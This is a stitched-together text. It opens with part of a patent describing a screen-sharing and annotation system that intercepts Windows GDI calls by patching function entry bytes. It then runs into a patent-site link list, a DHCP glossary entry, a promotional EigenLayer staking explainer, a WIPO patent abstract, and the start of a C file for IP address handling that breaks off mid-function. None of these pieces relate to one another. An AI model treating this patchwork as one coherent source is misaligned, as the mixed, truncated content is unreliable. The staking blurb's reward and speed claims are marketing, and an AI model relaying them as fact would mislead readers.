GDI.EXE is a commercially available product. Technical details concerning GDI.EXE are contained in "Windows Software Development Kit," available from Microsoft Corporation, and in Programming Windows 3.1 by Charles Petzold (Microsoft Press,Redmond, Wash., 1992, ISBN 1-55615-395-3).
FIG. 5
Host Runs Application Program
Mode is "Application"
User Input is at Host Computer
User Attempts to Use Calculator
The user of the Host moves the cursor over the calculator key "3" and clicks the mouse. The GUI generates a mouse message and places in into the queue. The invention reads the mouse message, and passes the message to the Application program(ie, the calculator program), which responds by (1) showing that the key "3" is depressed and (2) drawing the numeral "3" in the calculator's display, using GDI calls. The Application program also records the fact that the user enters a "3," for its owninternal operations.
The invention also intercepts the GDI calls made by the Application program in drawing the "3" in the calculator, and in drawing the depressed "3" button. The invention notifies the other computers of the GDI calls. The other computersreplicate the Host display, by executing the same GDI functions. Greater detail concerning this GDI interception is given later, in the section entitled "General Considerations."
Thus, all users simultaneously see the user of the Host operate the calculator. (The action is not exactly simultaneous, because extremely short delays are involved. However, a human probably could not detect the delays if the Host and theRemote were operating side-by-side.)
In terms of FIG. 15, the INPUT ROUTER recognizes that the mouse messages should be directed to the Application program, and directs the logic flow to APPLICATION (ie, the calculator program). APPLICATION (1) draws a depressed "3" key and (2)writes the numeral "3" in the calculator's display, by calling appropriate GDI functions.
However, the invention, via GDI CAPTURE in FIG. 15, captures the Application program's GDI calls, before they are executed. The invention does two things with the captured calls. One, it notifies the other computers of these calls, via theblock CONNECTION API. This action leads to block CAPTURED GDI DISPLAY in FIG. 15A, which causes each Remote to execute the same GDI functions, as indicated by block GDI.
Two, the invention allows the GDI functions, called by the Application program, to be executed at the host, via the block GDI in FIG. 15.
Therefore, the invention captures GDI function calls made by the Application Program. The invention notifies the Remote computers of the captured calls, so that the Remotes can duplicate them. The invention allows the captured calls to beexecuted as intended on the Host.
FIG. 6
Host Runs Application Program
Mode is "Local Annotation"
User Input is at Host Computer
User Attempts to operate Calculator
Assume that in Annotation Mode, there is no default annotation tool given to the user. Under this assumption, if the user moves the cursor to a calculator button, and tries to "press" the button, the INPUT ROUTER in FIG. 15 passes the mousemessage to the ANNOTATION block. Since the mouse click is not part of a valid annotation input sequence (no tool was selected), ANNOTATION draws nothing.
Further, the Remote computers do not show the movement of the cursor corresponding to the Host computer's mouse, as indicated, because line 5 in FIG. 15 does not send Annotation Messages to the other computers when Local Annotation is in force.
Further still, the calculator button is not re-drawn as a depressed button on the Host display, in response to the attempt to press it, because APPLICATION did not receive the mouse message. APPLICATION is responsible for drawing depressedcalculator buttons.
If a default annotation is assigned to the user in Local Annotation Mode, the user's mouse click would initiate drawing by that tool. When the user realized the mistake, the user would terminate the drawing, in a known manner.
FIG. 7
Host Runs Application Program
Mode is "Local Annotation"
User Input is at Host Computer
User Attempts to Annotate Calculator
Under these conditions, the INPUT ROUTER in FIG. 15 recognizes a valid attempt to perform annotation, as by drawing a box. The INPUT ROUTER directs the logic flow to the ANNOTATION block, which calls the proper GDI functions for drawing theannotation, namely, a box, as shown in FIG. 7.
However, because the annotation is local, no boxes are drawn on remote computers, as indicated in FIG. 7. No data is sent along data path 5 in FIG. 15.
FIG. 8
Host Runs Application Program
Mode is "View"
User Input is at Host Computer
User Attempts to Operate Calculator
As FIG. 8 indicates, the mouse click is ignored, and nothing happens at the Remotes.
In FIG. 15, the INPUT ROUTER reads the mouse message, but blocks it from APPLICATION, because the current mode is "view."
FIG. 9
Host Runs Application Program
Mode is "ANNOTATION"
User Input is at Remote computer
User Attempts to Operate Calculator
Assume that the user moves the mouse cursor over a calculator button and clicks the mouse. The mouse click is ignored. The other computers (Host and the other Remote) show the motion of the user's cursor, but nothing else, because no tool hasbeen selected.
In FIG. 15A, the INPUT ROUTER blocks the mouse message from reaching APPLICATION. The logic is directed to ANNOTATION, which draws a cursor on the user's Remote display, via block GDI. ANNOTATION also sends data to CONNECTION API, which directsthe logic to ANNOTATION in FIG. 15. This ANNOTATION represents the annotation logic present on the two other computers: the Host and the other Remote. These ANNOTATION blocks draw cursors corresponding to the users cursor, at corresponding positions,via the GDI block in FIG. 15, which represents GDI function calls.
The Host can use one tool, such as a box-drawing tool, while a Remote can use a different tool, such as a circle-drawing tool.
FIG. 10
Host Runs Application Program
Mode is "ANNOTATION"
User Input is at Remote Computer
User Attempts to Annotate Calculator
Assume that the annotation is a box. A box is drawn on all displays. In FIG. 15A, the INPUT ROUTER at the user's Remote directs the mouse messages to the block ANNOTATION. ANNOTATION does two things. One, it calls the proper GDI functions toperform the annotation, namely, drawing the box.
Two, ANNOTATION sends annotation messages to CONNECTION API, which delivers the annotation messages to the other computers. However, one of these is the Host, and the other is a Remote. The logic at the Host reaches ANNOTATION in FIG. 15, andthe logic at the other Remote reaches ANNOTATION in FIG. 15A.
Both of these ANNOTATION blocks cause the proper GDI functions to be called, to draw an annotation corresponding to the user's annotation. However, in the Host, logic path 5 is not taken at this time, because it is not necessary to replicate theHost's annotations at other computers.
FIG. 11
Host Runs Application Program
Mode is "APPLICATION"
User Input is at Remote Computer
User Attempts to Operate Calculator
The reader is reminded that the calculator program is loaded only on the host, while a Remote user wishes to operate it.
The Remote user's INPUT ROUTER in FIG. 15A routes the mouse messages to CONNECTION API. The Host receives these messages, which are delivered to the Host's INPUT ROUTER in FIG. 15. The Host's INPUT ROUTER directs the messages to the blockAPPLICATION (ie, to the Application program, namely, the calculator program), which does two important things.
The calculator program treats the messages as though they were issued by the Host's mouse, even though a Remote mouse caused them. The calculator program responds in its usual way, which includes (1) showing a depressed calculator button "3",(2) writing the numeral "3" in the calculator's display, and (3) performing its own internal computations when it learns that the user entered data (namely, the "3").
However, before the calculator program can execute (1) and (2) in the previous paragraph, the Invention first captures the GDI functions which the calculator program calls. This capture is illustrated in block GDI CAPTURE in FIG. 15.
During this capture, the Invention, in effect, does two things. One, it sends these GDI functions to CONNECTION API (for the other computers to use). At the user's Remote, CONNECTION API in FIG. 15A directs the GDI functions to CAPTURED GDIDISPLAY, which replicates the Host's display. Two, it causes the GDI functions to be executed at the Host (via block GDI in FIG. 15). Therefore, the general sequence of events is the following:
The Remote user attempts to press a calculator button.
The invention running on the Remote detects this attempt, and sends data to the calculator program running on the host. The data takes the form of messages, which the calculator program "thinks" come from the Host's mouse.
The calculator program performs as usual, and draws images on the Host display, via GDI calls.
The invention captures the GDI calls, and informs the Remotes of them.
The Remotes replicate the Host's window. The Remote user thus can remotely operate the calculator program running on the Host.
Summarizing in a different way: The invention generates mouse messages at the Host, based on mouse messages at the Remote. The calculator program (running on the Host) responds to the mouse messages as though they were generated at the Host. The invention intercepts the GDI calls made by the calculator program, and executes the same GDI calls at the Remote, thereby replicating the Host's display at the Remote.
FIG. 12
Host Runs Application Program
Mode is "Local Annotation"
User Input is at Remote Computer
User Attempts to Operate Calculator
The user's mouse click is ignored. Nothing appears on the other displays in response to the mouse movement, because of failure to select a tool.
FIG. 13
Host Runs Application Program
Mode is "Local Annotation"
User Input is at Remote Computer
User Attempts to Annotate Calculator
The annotation is drawn on the user's display, as indicated. No annotation occurs on the other displays.
FIG. 14
Host Runs Application Program
Mode is "View"
User Input is at Remote Computer
User Attempts to Operate Calculator
As indicated, the mouse cursor moves at the user's display, but the mouse click is ignored. Further, the other two displays do not show the movement of the user's mouse cursor.
General Considerations
1. Different Programs Draw Different Parts of Overall Display. The displays are drawn using GDI functions. However, different parts of a display are drawn by different programs.
Despite the fact that all these drawing operations are undertaken using GDI functions, GDI functions are not the exclusive medium of communication between computers for replicating the displays.
Annotation Involves One Type of Data Transfer Among Computers
Drawing by an Application Program Involves Another Type
For example, when a user performs annotation, the user's mouse messages are replicated, AS MESSAGES, at the other computers, via path 5 in FIG. 15. These replicated messages then cause the respective ANNOTATION blocks (at the other computers) toissue the proper GDI calls for drawing the annotation. That is, GDI calls are not sent directly from the user performing the annotation to the other computers.
In contrast, when an application program causes a graphic image to be drawn on a display, the invention intercepts GDI calls (via GDI CAPTURE in FIG. 15) and causes the GDI calls to be replicated on the other computers.
Reason for Difference
A major reason for the two different procedures (replicating mouse messages and replicating GDI calls) is that annotations are stored in memory at different locations than the display information.
That is, returning to the calculator of FIG. 2, the Application program stores the image of the calculator in the following general way. Annotation data is stored by the invention; Application program data is stored by the Application program(at the host). Each image of a key is stored as data from which a GDI function can draw the key. The data includes information such as position, size, color, and so on. Each key includes an associated number. The number can be stored as a textcharacter, with information as to position, size, font type, and so on.
Annotation data is stored at a different location, but in the same general way.
If either the annotation or the Application program needs bitmaps, the bitmaps are stored in a conventional, known manner, by the GUI.
The invention combines the annotation images with the Application's images by the known technique of masking. That is, the invention, at a Remote, plays (or executes) the received GDI functions into a bitmap. The invention plays the receivedannotation information into a different bitmap. The two bitmaps are masked together.
The annotation data is kept separate from the application data so that, for example, a user can save an Application image, but without annotations. Alternately, a user can save annotation data alone, or save an annotated display.
As another example, keeping the annotation data separate facilitates drawing a display having no annotation data. If the annotation data were intermingled with the calculator image data, elimination of the annotation data would be difficult, ifnot impossible.
If GDI calls were transmitted exclusively (ie, no message replication were undertaken), then extra effort would be required to construct annotation data for separate storage.
2. GDI Interception, or Capture. GDI interception can be understood as follows.
A. On start-up, the invention replaces the first five bytes of each GDI function with a JUMP instruction to a particular program, namely, Trap.GDI.
B. Trap.GDI gets the parameters for the desired graphics image (eg, in the case of a box, the locations of the two diagonal corners) and calls the sub-program PkgDispCall. Trap.GDI also replaces the first five bytes.
C. PkgDispCall accepts the parameters from Trap.GDI and generates an object structure. This object structure is a block of data containing everything necessary for the other computers to draw the box.
For example, the object structure contains information as to size and position of the box. Further, the GUI draws images within a "context." The context includes things such as pen width, color, and other features. The invention tracks thecontexts of the individual computers. If the context of the box drawn is different from the contexts of the remote computers, PkgDispCall includes data necessary for the other computers to create the correct contexts.
D. The object structure is shipped to the other computers, which then execute the same GDI functions.
E. The invention executes the original GDI functions.
3. Displays are not Transferred in Entirety. The displays are not replicated bit-by-bit. For example, the image of the calculator in FIG. 2 could be transferred between computers in bitwise fashion. If the calculator occupied a space of200.times.300 pixels, then information regarding 60,000 (ie, 200.times.300) pixels must be sent.
Instead, the particular calculator image shown in FIG. 2 is treated as eighteen rectangles, plus a text character for each of sixteen of the rectangles, giving a total of 34 objects. Each object requires parameters, such as size and position. The number of parameters is small, in the range of three to ten. Assuming ten parameters, then 340 pieces of data must be sent. Of course, the size of each piece depends on many factors, but a small number of bytes for each piece may be assumed.
Therefore, the invention reduces the 60,000 pieces of data needed for bitwise replication to 340 pieces maximum for object replication. Of course, some objects may take the form of bitmaps, and must be sent bit-by-bit. However, in general,bitmaps are expected to be rare. Further, it is expected that, in general, bitmaps, when sent, need be send only once.
Further, the object data is compressed when possible. That is, every transmission between computers is of compressed data, when possible. Compression is known in the art.
4. Types of Data Link. Communication among computers can take several forms. Commercially available networks, local and wide area, can be used. Commercially available ISDN telephone service, provided by local telephone companies, can be used. Modem communication can be used.
5. Prior Art Message Detection. There are commercially available packages which detect messages generated by the GUI in response to an input device. One such package is WINSIGHT, available from Borland International. However, it is believedthat such packages do not inform remote computers of the messages.
6. Alternate GDI Capture. An alternate approach to the graphics capture described above is the following. The system-provided GDI is replaced by a separate procedure which processes GDI calls before calling the actual system GDI. The systemGDI name is changed to prevent confusion between the two modules. The same technique is also used on USR.EXE to also capture GDI calls made through system-provided modules.
7. More than One Computer can Run Application Programs. A given computer can act as a Host for one program and a Remote for another. For example, one computer can run a word processing program. Another computer can run a CAD drawing program. Each is Host for its respective program.
Since the invention's software on each computer is identical, or substantially identical, all users can run either the word processing program or the CAD program, in the manner described above.
8. "Real" Cursors and "Pseudo" Cursors. There are two types of "cursor." Each GUI generates its own "real" cursor. The real cursor is not generated by GDI functions, but by an independent function in the GUI. The reader can view the cursor asa bitmap which the GUI moves in response to mouse motion.
In addition to the real cursor, which is controlled by the local mouse, the invention generates a "pseudo" cursor for each remote participant. The pseudo cursors are generated using GDI functions.
Sometimes a real cursor changes shape as the cursor moves. For example, it can take the form of an arrow when lying on a tool bar, and then change to a hand when lying on a client area. Sometimes this change is under the control of theApplication program.
Therefore, if a Remote user is controlling an Application program running on a Host machine (as in FIG. 11), the Application program may change the cursor on the Host machine, but without using GDI calls. Consequently, the GDI capture of FIGS.15 and 15A will be ineffective to replicate the changed on the Remote display.
To confront this problem, the invention watches for the functions which change the real cursor (eg, the SetCursor command). The invention replicates the cursor change on the Remote computer.
One way is to execute the same SetCursor command. An alternate approach would be to change the Remote cursor by executing a proper sequence of GDI calls, or to draw a bitmap, when the Host cursor changes.
9. Entire Display not Replicated. The invention only replicates windows which the user of a display identifies. That is, the user can keep a workspace, such as a notepad, private during a conference. GDI calls use a task handle. If the taskhandle does not refer to a shared item, the GDI calls are not shared.
10. Computer Code. Computer code in microfiche form is attached. A description of files contained therein is contained in the following Table.
TABLE ______________________________________ (See the end of tgapp.c for a description of how invention starts up, and the order in which things are initialized.) about.c Relates to About Dialog Box. about.h Goes with about.c. annot.h Contains named identifiers for Annotation Messages. Contains Limits on the maximum number of machines that may share, and the maximum number of Applications they may jointly share. Contains definitions of structures that hold data for AnnotationMessages and information about Shared Applications. Contains some prototypes of functions from sautil.cpp and draw.cpp anntb.c Contains code which operates the Annotation ToolBar. anntb.h Contains named identifiers for parts of Annotation ToolBarand a few function prototypes for anntb.c. annvid.c Contains functions relating to when video is placed in the annotations toolbar. annvid.h Contains named identifiers for annvid.c. audio.c Contains a function to update the Audio Button. audio.h Contains function prototypes for audio.c. bitmapop.h Contains function prototypes for all sorts of routines to do all sorts of things to BitMaps. cache.c Relates to interception and caching CreateDC. dirutil.c Contains functions to support an ISDNaudio/video phone directory. dirutil.h Contains named identifiers and fuction prototypes for dirutil.c. disp.c Contains a list of GDI functions to intercept and the Package functions to which they correspond. Contains functions to install andremove the changes to GDI required to do the intercepting. Contains a function to look up the Package function corresponding to the intercepted functions. Contains the Package functions themselves including a couple that don't correspond to GDIintercepts, and one which corresponds to the WinExec function of the USER module, which is also intercepted. draw.cpp Contains functions to manipulate, save, and restore the Bitmaps which represent Application Windows and Annotation Windows. Contains functions to Compose the Annotations over the Screen image. Contains functions to update the User's Annotation Tool choices and update them on the Remote PCs as well. Contains functions to actually do the drawing on the Annotation Bitmaps(including drawing text). Contains functions to Package and send arbitrary data to Remote Users. editdir.c Contains functions for editing the entries in the ISDN phone directory maintained in dirutil.c. editdir.h Contains named identifiers andfunction prototypes for editdir.c. edmnu.h Contains named identifiers for the Menu used by editdir.c. filetrns.c Contains functions to support File Transfer over TeleMedia, which handles communication among computers. filetrns.h Contains namedidentifiers and function prototypes for filetrns.c. fsm.h Contains named identifiers and function prototypes to support the Phone Client Finite State Machine. ftmnu.h Contains named identifiers for the File Transfer Menu. ftprog.c Containsfunctions to support the File Transfer Progress Dialog Box. ftprog.h Contains named identifiers and function prototypes for ftprog.c. ftset.c Contains functions to support the File Transfer Settings Dialog Box. ftset.h Contains named identifiersand function prototypes for ftset.c. gdiobj.h Contains definitions of structures to hold information about GDI objects, notably size information. gdiobjcp.c Contains functions to collect the parts of GDI objects into one place and determine thesize of the result. gdiobjpy.c Contains functions to produce actual GDI objects in memory from their packaged descriptions, and return Handles to those objects. Contains some functions which do maintenance of DCs (Device Contexts) in relation tothe creation of other GDI objects. gdiobjpy.h Declarations of functions in gdiobjpy.c. globals.c Contains declarations of some variables related to GDI capture and Message capture. Contains extern declarations of the others. globals.h Externdeclarations of the variables in globals.c. iconapp.c Contains functions for creating and manipulating Icons. iconapp.h Contains named identifiers and function prototypes for iconapp.h. iconwin.c This contains a Window Procedure for a Dialog Boxrelated to Icons. incoming.c Contains functions to support Incoming Call Dialog Box. incoming.h Contains named identifiers and function prototypes for incoming.c. inputrtr.cpp Contains structures concerning cursors. Contains functions toinitialize Input Router Library. Contains functions for intercepting Messages. Contains functions for simulating Mouse and Key events. Contains Window Procedures for the Input Router and the Shared Application Window (which echoes the realApplication's appearance). Contains functions to handle Annotation Messages, and User Input Messages destined for a Remote Application. Contains functions to translate coordinates from the Host to Remote. intercpt.asm Contains TRAPGDI andTRAPCACHE which handle identifying the address of the call which was intercepted and which Package function we want to call as a result of that. isdnapp.c Contains functions to support ISDN calls, though most are stubs at this point. line.c Contains functions to support a Dialog Box for selecting Line characteristics. line.h Contains named identifiers and function prototypes for line.c. linklist.c Maintain linked lists of information structures for intercepted calls and taskscorresponding to the Applications we are sharing. mcs.sub.-- ctrl.h Contains named identifiers and function prototypes related to MCS Control. newdir.c A Window Procedure for a Dialog Box. The identifiers in newdir.h suggest this is to add a newentry to the ISDN directory. newdir.h Contains named identifiers and function prototypes for newdir.c. perm.c Contains functions (Window Procedure) related to a Dialog Box for setting Shared Application Permissions. perm.h Contains namedidentifiers and function prototypes for perm.c. phone.c Contains functions to support the Phone Dialog Box, including the Window Procedure. phone.h Contains named identifiers and function prototypes for phone.c. phmnu.h Contains namedidentifiers for use with Phone Menu. phonpref.c Contains functions to support Phone Preferences Dialog Box. phonepref.h Contains named identifiers and function prototypes for phonepref.c. pkg.c Contains functions which manage the Package Queueand take care of sending data from it to remote machines. pkgtags.h Contains named identifiers for everything that can be sent in a Package to a remote PC. proto.h Contains function prototypes for all publicly accessible functions in modulestmcapt.c, gdiobjcp.c, pkg.c, linklist.c, intercpt.asm, disp.c, cache.c, and some Undocumented Windows functions. sautil.cpp Contains functions to get the index of a given Application in our array of shared Applications, add such an Application tothe array, and do the same thing for Annotation Bitmaps and Masks. Contains functions for examining and changing Permissions and Modes of Host and Remote Users. Contains functions for changing which Application is the current one. Containsfunctions for adjusting the size and position of Remote Shared Application Windows. scroll.h Contains named identifiers and structures supporting Video Sliders (Red, Green, Blue, Bright, Contrast). sfset.c Contains functions to support SFSet DialogBox (Shared File Settings). sfset.h Contains named identifiers and function prototypes for sfset.c. televid.c Contains functions to support various aspects of Video transmission among other things. At least one function is a Dialog Box WindowProcedure. televid.h Contains named identifiers and function prototypes for televid.c. telegraf.c Contains functions to Initialize TeleGraphics, handle Messages meant for it, and add a Shareable Application. telegraf.h Contains named identifiersfor telegraf.c. telegrap.h Contains named identifiers for all TeleGraphics Messages. Contains prototypes for some functions in inputrtr.c, sautil.cpp, and draw.cpp. tgapp.c Contains functions to Initialize a Shared Application and add it to thelist of Shared Applications. Contains functions to add an Annotation Channel, Initiate GDI capture. tgapp.h Contains named identifiers, structure definitions and function prototypes for tgapp.c. tgini.h Contains named strings for interpreting theTeleGraphics INI file. tgmnu.h Contains named identifiers for TeleGraphics Menu. tm3d.c
Contains functions to create a 3D box, a 3D line, and a "slab". tm.sub.-- mcs.c This is the TeleMedia Manager and MCS Controller. There is some explanation in the file of their usage. Contains Window Procedures for MCS and some Channel related functions. tmapp.c Contains functions to support DDE things related to MCS, File Transfer, and WhiteBoards. tmapp.h Contains function prototypes for tmapp.c. tmcapt.c Contains functions to capture Messages going through CallWndProc andGetMessage. tmcapt.h Declarations of functions in tmcapt.c. tmcaptp.h Contains definitions of structures for storing the parameters of all GDI and USER intercepted functions. Contains definition of structures related to captured Window Procedurecalls, information about Tasks and Calls, and Packaging. tmmsg.h Contains named Messages for TeleMedia. tmplay.c Contains functions to decode Packaged GDI calls and Play them through our local GDI. tmplay.h Declarations of functions in tmplay.c. tmscreen.c Contains functions which support the TeleMedia screen and controls (Buttons, etc.). tmutil.c Contains some minor functions client Applications use to communicate with the user interface (Error Functions). tmutil.h Contains namedidentifiers, named Messages, and function prototypes for tmutil.c. trns.h Contains several function prototypes. trnsrate.c Contains functions to support a Dialog Box to modify the Transfer Rate. trnsrate.h Contains named identifiers and functionprototypes for trnsrate.c. tvbottom.c Contains functions to support a Dialog Box whose concern relates to TeleVideo. tvbottom.h Contains named identifiers and function prototypes for tvbottom.c. tvmnu.h Contains named identifiers for TeleVideoMenu. tvpanel.c Contains functions to support a Dialog Box which handles the video controls (Contrast, Brightness, etc.). tvpanel.h Contains named identifiers and function prototypes for tvpanel.c. tvvideo.c Contains a Dialog Box Procedure forTeleVideo which seems concerned with Video calls, transfers, and captures. Contains subsidiary functions that handle the above mentioned captures, transfers, and other necessary transactions. tvvideo.h Contains a couple of variable declarations andfunction prototypes for tvvideo.c. udwgdi.h Contains definitions of structures for maintaining information relevant to storing temporary GDI objects along with those actual objects. umb.c Contains main program of TeleMedia, and its Window Procedure. umb.h Contains named identifiers and function prototypes for umb.c. umbmnu.h Contains named identifiers for the umb Menu. userpref.c Contains functions for a Dialog Box concerned with User Preferences. userpref.h Contains namedidentifiers, variable declarations, and function prototypes for userpref.c. vidcall.c Contains functions for a Dialog Box for making Video Calls. vidcall.h Contains named identifiers, variable declarations, and function prototypes for vidcall.c. videonum.c Contains code for a Dialog Box relating to modifying the permissions of video channels. videonum.h Contains named identifiers, variable declarations, and function prototypes for videonum.c. vidfsm.h Contains named identifiers andfunction prototypes for the TeleVideo Finite State Machine. vidset.c Contains functions to support a Dialog Box to modify speech quality and resolution of video. vidset.h Contains named identifiers, variable declarations, and function prototypesfor vidset.c. vidwin.c Contains functions for opening a Video Window, Playing video into it, capturing frames, adjusting the color, contrast, and such, and adjusting the size of the window. vidwin.h Contains named identifiers and functionprototypes for vidwin.c. ______________________________________
Numerous substitutions and modifications can be undertaken without departing from the true spirit and scope of the invention. What is desired to be secured by Letters Patent is the Invention as defined in the following claims.
* * * * *
Recently Added Patents
Piezoelectric speaker and method of manufacturing the same
Device and method to automatically configure port forwarding
Identification of protected content in e-mail messages
Flash memory apparatus and method for generating read voltage thereof
Techniques for data assignment from an external distributed file system to a database management system
Tracking data eye operating margin for steady state adaptation
Modular microscope construction
Randomly Featured Patents
Kit for analysis of subsets of subpopulations of leukocytes
Antibodies to interleukin-4 receptors and uses thereof
Solid-state imaging apparatus, imaging system and driving method for solid-state imaging apparatus
Inertial latch for mobile and small disc drives
Package for packing pieces of goods and process of manufacture thereof
Chart parsing method and system for natural language sentences based on dependency grammars
Ink compositions substantially free of organic liquids
Regulation of stem cell gene production with specific and selective electric and electromagnetic fields
Solenoid valve device and automatic document feeder having such solenoid valve device
Developing device using a developing liquid and image forming apparatus including the same
|
__label__pos
| 0.633246 |
DHCP
DHCP (Dynamic Host Configuration Protocol) is a communications protocol that lets network administrators centrally manage and automate the assignment of Internet Protocol (IP) addresses in an organization's network. Using the Internet Protocol, each machine that can connect to the Internet needs a unique IP address, which is assigned when an Internet connection is created for a specific computer. Without DHCP, the IP address must be entered manually at each computer in an organization and a new IP address must be entered each time a computer moves to a new location on the network. DHCP lets a network administrator supervise and distribute IP addresses from a central point and automatically sends a new IP address when a computer is plugged into a different place in the network.
DHCP uses the concept of a "lease" or amount of time that a given IP address will be valid for a computer. The lease time can vary depending on how long a user is likely to require the Internet connection at a particular location. It's especially useful in education and other environments where users change frequently. Using very short leases, DHCP can dynamically reconfigure networks in which there are more computers than there are available IP addresses. The protocol also supports static addresses for computers that need a permanent IP address, such as Web servers.
DHCP is an extension of an earlier network IP management protocol, Bootstrap Protocol (BOOTP). DHCP is a more advanced protocol, but both configuration management protocols are commonly used and DHCP can handle BOOTP client requests. Some organizations use both protocols, but understanding how and when to use them in the same organization is important. Some operating systems, including Windows NT/2000, come with DHCP servers. A DHCP or BOOTP client is a program that is located in (and perhaps downloaded to) each computer so that it can be configured.
|
__label__pos
| 0.862207 |
What is EigenLayer?
The Ethereum blockchain, a cornerstone of the decentralized finance (DeFi) revolution, faces critical challenges: scalability limitations and mounting transaction fees. These hurdles impede user adoption and stifle innovation within the ecosystem. At the same time, up-and-coming layer 1s and layer 2s struggle to find adoption due to the concerns surrounding their security.
EigenLayer emerges as a transformative solution for both of these problems. It is a scaling paradigm built upon the robust foundation of Ethereum that lets other applications borrow the security of Ethereum validators.
Why should you, as a user, care about EigenLayer?
Think of EigenLayer as a security blanket for other Web3 protocols. It lets them borrow the security of your staked ETH, making them more trustworthy and efficient. You, the ETH staker, get the following benefits:
• Earn extra rewards: Keep your ETH working while getting paid for securing other apps.
• Faster Ethereum: More apps that can use Ethereum’s security independently = less congestion, meaning faster transactions & lower fees for everyone. ️
You can read more about EigenLayer here.
Last updated
|
__label__pos
| 0.995711 |
Login| Sign Up| Help| Contact|
Patent Searching and Data
Title:
STATE PREDICTION DEVICE AND STATE PREDICTION METHOD
Document Type and Number:
WIPO Patent Application WO/2022/162778
Kind Code:
A1
Abstract:
This state prediction device for a target system: divides the processing steps of the target system into a plurality of blocks from an upstream step to a downstream step; generates teacher data for each block, including input data and output data for each block, from raw data obtained by observing the input data input to each block and the output data output from a given block; performs machine learning on local models included in cells that are allocated one-by-one to the respective blocks, by applying the teacher data for a given block to each local model; constructs a prediction model for the target system by connecting the plurality of cells after the machine learning, in a cascade from the upstream step to the downstream step; and calculates a predicted value for the output data output from the target system when the input data to the target system is input to the prediction model.
Inventors:
IKEDA TAKUMI (JP)
UEJIMA TOSHIAKI (JP)
MIZOSOE HIROKI (JP)
Application Number:
PCT/JP2021/002800
Publication Date:
August 04, 2022
Filing Date:
January 27, 2021
Export Citation:
Click for automatic bibliography generation Help
Assignee:
HITACHI INFORMATION & TELECOMMUNICATION ENG LTD (JP)
International Classes:
G06N20/00
Attorney, Agent or Firm:
THE PATENT BODY CORPORATE TAKEWA INTERNATIONAL PATENT OFFICE (JP)
Download PDF:
|
__label__pos
| 0.997334 |
/*
* $Id$
*
*
* ip address & address family related functions
*
* Copyright (C) 2001-2003 FhG Fokus
*
* This file is part of ser, a free SIP server.
*
* ser is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version
*
* For a license to use the ser software under conditions
* other than those described here, or to purchase support for this
* software, please contact iptel.org by e-mail at the following addresses:
* [email protected]
*
* ser is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
/*
* History:
* --------
* 2003-03-19 replaced all mallocs/frees w/ pkg_malloc/pkg_free
* 2004-10-01 mk_net fixes bad network addresses now (andrei)
*/
/** inernal ip addresses representation functions.
* @file ip_addr.c
* @ingroup core
* Module: @ref core
*/
#include <stdlib.h>
#include <stdio.h>
#include "ip_addr.h"
#include "dprint.h"
#include "mem/mem.h"
#include "resolve.h"
#include "trim.h"
struct net* mk_new_net(struct ip_addr* ip, struct ip_addr* mask)
{
struct net* n;
int warning;
int r;
warning=0;
if ((ip->af != mask->af) || (ip->len != mask->len)){
LOG(L_CRIT, "ERROR: mk_net: trying to use a different mask family"
" (eg. ipv4/ipv6mask or ipv6/ipv4mask)\n");
goto error;
}
n=(struct net*)pkg_malloc(sizeof(struct net));
if (n==0){
LOG(L_CRIT, "ERROR: mk_net: memory allocation failure\n");
goto error;
}
n->ip=*ip;
n->mask=*mask;
for (r=0; r<n->ip.len/4; r++) { /*ipv4 & ipv6 addresses are multiple of 4*/
n->ip.u.addr32[r] &= n->mask.u.addr32[r];
if (n->ip.u.addr32[r]!=ip->u.addr32[r]) warning=1;
};
if (warning){
LOG(L_WARN, "WARNING: mk_net: invalid network address/netmask "
"combination fixed...\n");
print_ip("original network address:", ip, "/");
print_ip("", mask, "\n");
print_ip("fixed network address:", &(n->ip), "/");
print_ip("", &(n->mask), "\n");
};
return n;
error:
return 0;
}
struct net* mk_new_net_bitlen(struct ip_addr* ip, unsigned int bitlen)
{
struct ip_addr mask;
int r;
if (bitlen>ip->len*8){
LOG(L_CRIT, "ERROR: mk_net_bitlen: bad bitlen number %d\n", bitlen);
goto error;
}
memset(&mask,0, sizeof(mask));
for (r=0;r<bitlen/8;r++) mask.u.addr[r]=0xff;
if (bitlen%8) mask.u.addr[r]= ~((1<<(8-(bitlen%8)))-1);
mask.af=ip->af;
mask.len=ip->len;
return mk_new_net(ip, &mask);
error:
return 0;
}
/** fills a net structure from an ip and a mask.
*
* This function will not print any error messages or allocate
* memory (as opposed to mk_new_net() above).
*
* @param n - destination net structure
* @param ip
* @param mask
* @return -1 on error (af mismatch), 0 on success
*/
int mk_net(struct net* n, struct ip_addr* ip, struct ip_addr* mask)
{
int r;
if (unlikely((ip->af != mask->af) || (ip->len != mask->len))) {
return -1;
}
n->ip=*ip;
n->mask=*mask;
/* fix the network part of the mask */
for (r=0; r<n->ip.len/4; r++) { /*ipv4 & ipv6 addresses are multiple of 4*/
n->ip.u.addr32[r] &= n->mask.u.addr32[r];
};
return 0;
}
/** fills a net structure from an ip and a bitlen.
*
* This function will not print any error messages or allocate
* memory (as opposed to mk_new_net_bitlen() above).
*
* @param n - destination net structure
* @param ip
* @param bitlen
* @return -1 on error (af mismatch), 0 on success
*/
int mk_net_bitlen(struct net* n, struct ip_addr* ip, unsigned int bitlen)
{
struct ip_addr mask;
int r;
if (unlikely(bitlen>ip->len*8))
/* bitlen too big */
return -1;
memset(&mask,0, sizeof(mask));
for (r=0;r<bitlen/8;r++) mask.u.addr[r]=0xff;
if (bitlen%8) mask.u.addr[r]= ~((1<<(8-(bitlen%8)))-1);
mask.af=ip->af;
mask.len=ip->len;
return mk_net(n, ip, &mask);
}
/** initializes a net structure from a string.
* @param dst - net structure that will be filled
* @param s - string of the form "ip", "ip/mask_len" or "ip/ip_mak".
* @return -1 on error, 0 on succes
*/
int mk_net_str(struct net* dst, str* s)
{
struct ip_addr* t;
char* p;
struct ip_addr ip;
str addr;
str mask;
unsigned int bitlen;
/* test for ip only */
t = str2ip(s);
#ifdef USE_IPV6
if (unlikely(t == 0))
t = str2ip6(s);
#endif /* USE_IPV6 */
if (likely(t))
return mk_net_bitlen(dst, t, t->len*8);
/* not a simple ip, maybe an ip/netmask pair */
p = q_memchr(s->s, '/', s->len);
